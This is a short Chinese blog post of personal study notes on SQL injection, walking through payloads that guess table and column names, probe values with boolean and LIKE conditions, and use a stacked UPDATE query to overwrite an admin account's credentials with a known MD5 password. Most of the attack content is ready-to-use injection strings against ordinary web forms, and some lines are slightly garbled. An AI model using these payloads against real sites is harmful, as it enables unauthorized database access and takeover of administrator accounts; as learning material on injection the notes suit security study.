美文网首页
12月5日上午:sql注入猜解

12月5日上午:sql注入猜解

作者: FKTX | 来源:发表于2017-12-12 19:03 被阅读0次

昨天猜解完列名之后,就可以猜解表名

' and table.user is null--+   列名前面加个点,在加表名称,就可以猜

find / -name "*table*".txt

' and (select count(*) from  a)>0--+   这种逻辑运气好的话,会爆出当前数据库名字。可以暴力猜表名

' and users.user is null--+      根据上面猜出来的表名和列名,进行组合猜解

' or user='admin     若是存在admin,就会返回真,否则假。这里不能用-- 因为,用这个会把user当成未猜解列名

' or user like '%a%      只要字段里面有数据包含a的,那就为真,会爆出来相关有a的信息

若是数据库有写入权限,即使权限很低,但是是否可以写入一个账号和已知的md5加密后的密码呢?

echo 'password' | md5 sum -  这是linux中算md5的方法,和mysql的md5()算法还不一样

因此,需要用mysql的md5()去计算我们知道的密码,然后想办法存到数据库中

'; update users set user='xxx' where user='admin  通过这条用set更新表内容的方法,可以将admin的账号密码都改成我们知道的

hexorbase是kali中的一个破解数据库的工具,但是这个工具也无法保证上面的语句执行成功,这是程序员编写的原因。同时,有的php程序员这里的功能也没有写的完全好,就会导致在本地可以正常执行上面的语句,而用户在输入端就无法执行这样的语句。所以,这里如果程序员PHP代码写的有问题,那么在这个地方安全性就会更高一点。。。。

相关文章

  • 12月5日上午:sql注入猜解

    昨天猜解完列名之后,就可以猜解表名 ' and table.user is null--+ 列名前面加个点,在加...

  • SQL常用注入语句

    1.判断是否存在注入,注入是字符型还是数字型 2.猜解SQL查询语句中的字段数 3.确定显示的字段顺序 4.获取当...

  • 2020-07-13 SQL盲注(延时注入)

    思路:*判断是否存在注入,注入是字符型还是数字型*猜解当前数据库名*猜解数据库表名*猜解字段名*猜解数据1判断注入...

  • WEB安全之SQL注入

    什么是SQL注入? SQL注入是一种将SQL代码添加到输入参数中传递到SQL服务器解析并执行的一种攻击手法。案列解...

  • SQLMAP注入教程方法详解:

    一、SQLMAP通过Access注入: 1.猜解参数是否能注入: http://www.test.com/inde...

  • web常见漏洞的成因和修复

    1.SQL注入 漏洞描述:SQL 注入攻击( SQL Injection ),简称注入攻击、SQL 注入,主要用于...

  • IIS短文件名

    漏洞意义 1)猜解后台地址2)猜解敏感文件,例如备份的rar、zip、.bak、.SQL文件等。3)在某些情形下,...

  • 笔记:web漏洞

    SQL注入 SQL注入攻击(SQL Injection),简称注入攻击、SQL注入,被广泛用于非法获取网站控制权,...

  • 谈谈sql注入之原理和防护(-)

    谈谈sql注入(二)谈谈sql注入(三)谈谈sql注入(四)所谓SQL注入,就是通过把SQL命令插入到Web表单提...

  • 小迪16期-20170226

    第二天:Sql注入集锦篇 1.Sql注入之access注入 2.Sql注入之mysql注入 3.Sql注入之mss...

网友评论

      本文标题:12月5日上午:sql注入猜解

      本文链接:https://www.haomeiwen.com/subject/eulqixtx.html